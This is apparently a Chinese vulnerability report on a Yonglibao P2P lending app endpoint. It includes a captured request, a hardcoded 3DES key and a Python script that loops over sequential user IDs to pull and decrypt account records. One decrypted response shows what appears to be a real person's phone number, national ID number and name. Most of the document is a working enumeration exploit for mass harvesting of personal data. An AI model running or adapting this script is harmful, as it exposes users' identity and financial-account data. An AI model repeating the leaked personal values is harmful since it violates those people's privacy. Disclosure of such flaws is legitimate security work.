P2P金融安全之永利宝旗下某处涉及缺陷打包

POST http://huo.yonglibao.com/V2/User/setting HTTP/1.1
 X-Wap-Proxy-Cookie: none
 Cookie: CHANNEL=null;APP_VERSION=android_V2.3.2;TERMINAL=android_41A3945A92BD7B1D41B5AE511F7B3835%7C000000000000000;APP_TIME=1458861888009;BDUSS=;
 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
 User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.1.1; Google Nexus 4 - 4.1.1 - API 16 - 768x1280_1 Build/JRO03S)
 Host: huo.yonglibao.com
 Connection: Keep-Alive
 Accept-Encoding: gzip
 Content-Length: 107
 
 i=eb6nlXk8cpc2TjXk7%2F4XZyoohgd8bkTft3MAj4bWOIxzUSR6JzaIXN3cy7pkaj9IHuqt8zmubfDF%0AvZDdIXMFhBlT3QpBacE3%0A&

XTxpp6XhYopXJyoPaCnWHw8hfmAcoFSQPgzkKF9GeEuMUE1kHIm5JWlD9u61LA6wh+CcDufbI4iiDFatkuGscf7QJXZsSTOUhGD/oHIxvZaIO3wK1nZ8KLCtSLl7NJvOGu8UXUY210b6dVVgGrOZSWuDjgdlOaLB+xxJ+thueH570UlufnDHk/kQnootA3wdMIP0sX5UC2dKv9HRxww7mg==

{"s":1000,"r":{"i":"1183890","a":"13103566051","p":"13103566051","e":"140524197209098047","r":"/u6b66/u79c0/u4e91","v":"1","n":"13103566051","t":"1458773137"}}

{"s":1000,"r":{"i":"1180000","a":"1","p":"1","e":"1","r":"1","v":"1","n":"1","t":"1458773137"}}

XTxpp6XhYopXJyoPaCnWH+y1kIgGnpb+BvoqZTnsQcmhzJ20zLGCENzq/J64L44zUIR7hVooiP+4A4Dza3rY3NkgsFJ7XHd8+IWox5CcEhswg/SxflQLZ0q/0dHHDDua

import pyDes
 import requests
 import base64
 import urllib
 
 key="8daluqp9xm2kw6zs1hta0000"
 
 
 def DES3encrypt(param):
     obj = pyDes.triple_des(key,mode=pyDes.ECB,IV=None,pad=None,padmode=pyDes.PAD_PKCS5)
     d = obj.encrypt(param)
     result=base64.b64encode(d)
     result=urllib.quote_plus(result)
     return result
 def DES3decrypt(param):
     #param=urllib.unquote_plus(param)
     param=base64.b64decode(param)
     obj = pyDes.triple_des(key,mode=pyDes.ECB,IV=None,pad=None,padmode=pyDes.PAD_PKCS5)
     result = obj.decrypt(param)
     return result
 
 
 def send (payload):
     headers = {'User-Agent': 'Yonglibao_from_A',"Content-Type":" application/x-www-form-urlencoded; charset=UTF-8"}
     data="i="+payload+"&"
     r = requests.post("http://huo.yonglibao.com/V2/User/setting", data=data,headers=headers)
     result=DES3decrypt(r.text)
     return result
 
 
 def start():
     fp=open("2.txt","w+")
     #fp2=open("phone.txt","r")
     #for i in set(fp2.readlines()):
     for i in range(1180000,1181000):
         userinfo=""
         param='''{"u":"41A3945A92BD7B1D41B5AE511F7B3835|000000000000000","i":'''+str(i)+'''}'''
         #print param
         payload=DES3encrypt(param)
         userinfo=send(payload)
         print userinfo
         fp.write("1")
         fp.write("/n")
     fp.close()
 
 param='''{"s":1000,"r":{"i":"1180000","a":"1","p":"1","e":"1","r":"1","v":"1","n":"1","t":"1458773137"}}'''
 print DES3encrypt(param)
 start()